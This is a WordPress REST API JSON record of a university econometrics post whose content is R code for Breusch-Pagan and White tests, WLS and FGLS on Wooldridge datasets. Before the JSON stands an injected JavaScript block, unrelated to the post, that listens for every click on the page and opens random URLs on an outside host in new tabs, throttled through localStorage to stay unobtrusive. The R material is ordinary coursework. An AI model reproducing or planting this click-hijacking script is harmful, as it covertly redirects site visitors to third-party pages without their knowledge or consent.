<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1000,"date":"2022-11-25T18:05:44","date_gmt":"2022-11-25T10:05:44","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=1000"},"modified":"2023-10-16T21:41:01","modified_gmt":"2023-10-16T13:41:01","slug":"221124-%e8%a8%88%e9%87%8f%e7%b6%93%e6%bf%9f%e5%ad%b8_2","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=1000","title":{"rendered":"221124 \u8a08\u91cf\u7d93\u6fdf\u5b78_2"},"content":{"rendered":"<p>data(gpa3, package=&#8217;wooldridge&#8217;)<\/p>\n<p># load packages (which need to be installed!)<br \/>\nlibrary(lmtest); library(car)<\/p>\n<p>head(gpa3)<br \/>\nstr(gpa3)<\/p>\n<p># Estimate model (only for spring data)<br \/>\nreg &lt;- lm(cumgpa~sat+hsperc+tothrs+female+black+white,<br \/>\ndata=gpa3, subset=(spring==1))<br \/>\n# Usual SE:<br \/>\ncoeftest(reg)<\/p>\n<p>plot(reg,1)<\/p>\n<p># Refined White heteroscedasticity-robust SE:<br \/>\ncoeftest(reg, vcov=hccm)<br \/>\ncoeftest(reg, vcov=hccm(reg,type=&#8217;hc0&#8242;))<\/p>\n<p>######################## not big problem<\/p>\n<p>#<\/p>\n<p>data(hprice1, package=&#8217;wooldridge&#8217;)<br \/>\nhead(hprice1)<\/p>\n<p># Estimate model<br \/>\nreg1 &lt;- lm(price~lotsize+sqrft+bdrms, data=hprice1)<br \/>\nsummary(reg1)<br \/>\nreg1<\/p>\n<p># Automatic BP test: Bresch-Pagan<br \/>\nlibrary(lmtest)<br \/>\nbptest(reg1)<\/p>\n<p># Manual regression of squared residuals<br \/>\nsummary(lm( resid(reg1)^2 ~ lotsize+sqrft+bdrms, data=hprice1))<\/p>\n<p>&nbsp;<\/p>\n<p>data(hprice1, package=&#8217;wooldridge&#8217;)<\/p>\n<p># Estimate model<br \/>\nreg2 &lt;- lm(log(price)~log(lotsize)+log(sqrft)+bdrms, data=hprice1)<br \/>\nreg2<br \/>\nsummary(reg2)<\/p>\n<p># BP test<br \/>\nlibrary(lmtest)<br \/>\nbptest(reg2)<br \/>\nsummary(lm( resid(reg2)^2 ~ log(lotsize)+log(sqrft)+bdrms, data=hprice1))<\/p>\n<p>&nbsp;<\/p>\n<p># White test<br \/>\nbptest(reg2, ~ fitted(reg2) + I(fitted(reg2)^2) )<br \/>\nsummary(lm( resid(reg2)^2 ~ fitted(reg2) + I(fitted(reg2)^2), data=hprice1))<\/p>\n<p>&nbsp;<\/p>\n<p>#####################################################<br \/>\nlibrary(foreign)<br \/>\nd401k&lt;-read.dta(&#8220;http:\/\/fmwww.bc.edu\/ec-p\/data\/wooldridge\/401ksubs.dta&#8221;)<br \/>\nstr(d401k)<br \/>\nhead(d401k,20)<\/p>\n<p># OLS (only for singles: fsize==1)<br \/>\nols&lt;-lm(nettfa ~ inc + I((age-25)^2) + male + e401k,<br \/>\ndata=d401k, subset=(fsize==1))<\/p>\n<p># WLS<br \/>\nwls &lt;-lm(nettfa ~ inc + I((age-25)^2) + male + e401k, weight=1\/inc,<br \/>\ndata=d401k, subset=(fsize==1))<\/p>\n<p>summary(ols)<br \/>\nsummary(wls)<br \/>\nbptest(ols)<br \/>\nbptest(wls)<\/p>\n<p>&nbsp;<\/p>\n<p>###########################################################<\/p>\n<p>data(smoke, package=&#8217;wooldridge&#8217;)<\/p>\n<p># OLS<br \/>\nolsreg&lt;-lm(cigs~log(income)+log(cigpric)+educ+age+I(age^2)+restaurn,<br \/>\ndata=smoke)<br \/>\nolsreg<\/p>\n<p># BP test<br \/>\nlibrary(lmtest)<br \/>\nbptest(olsreg)<\/p>\n<p># FGLS: estimation of the variance function<br \/>\nlogu2 &lt;- log(resid(olsreg)^2)<br \/>\nvarreg&lt;-lm(logu2~log(income)+log(cigpric)+educ+age+I(age^2)+restaurn, data=smoke)<br \/>\nsummary(varreg)<\/p>\n<p># FGLS: WLS<br \/>\nw &lt;- 1\/exp(fitted(varreg))<br \/>\nwlsreg&lt;-lm(cigs~log(income)+log(cigpric)+educ+age+I(age^2)+restaurn,<br \/>\nweight=w ,data=smoke)<\/p>\n<p>summary(wlsreg)<br \/>\nbptest(wlsreg)<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>data(gpa3, package=&#8217;wooldridge&#038;#82<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1000"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1000"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1000\/revisions"}],"predecessor-version":[{"id":1008,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1000\/revisions\/1008"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1000"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1000"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1000"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}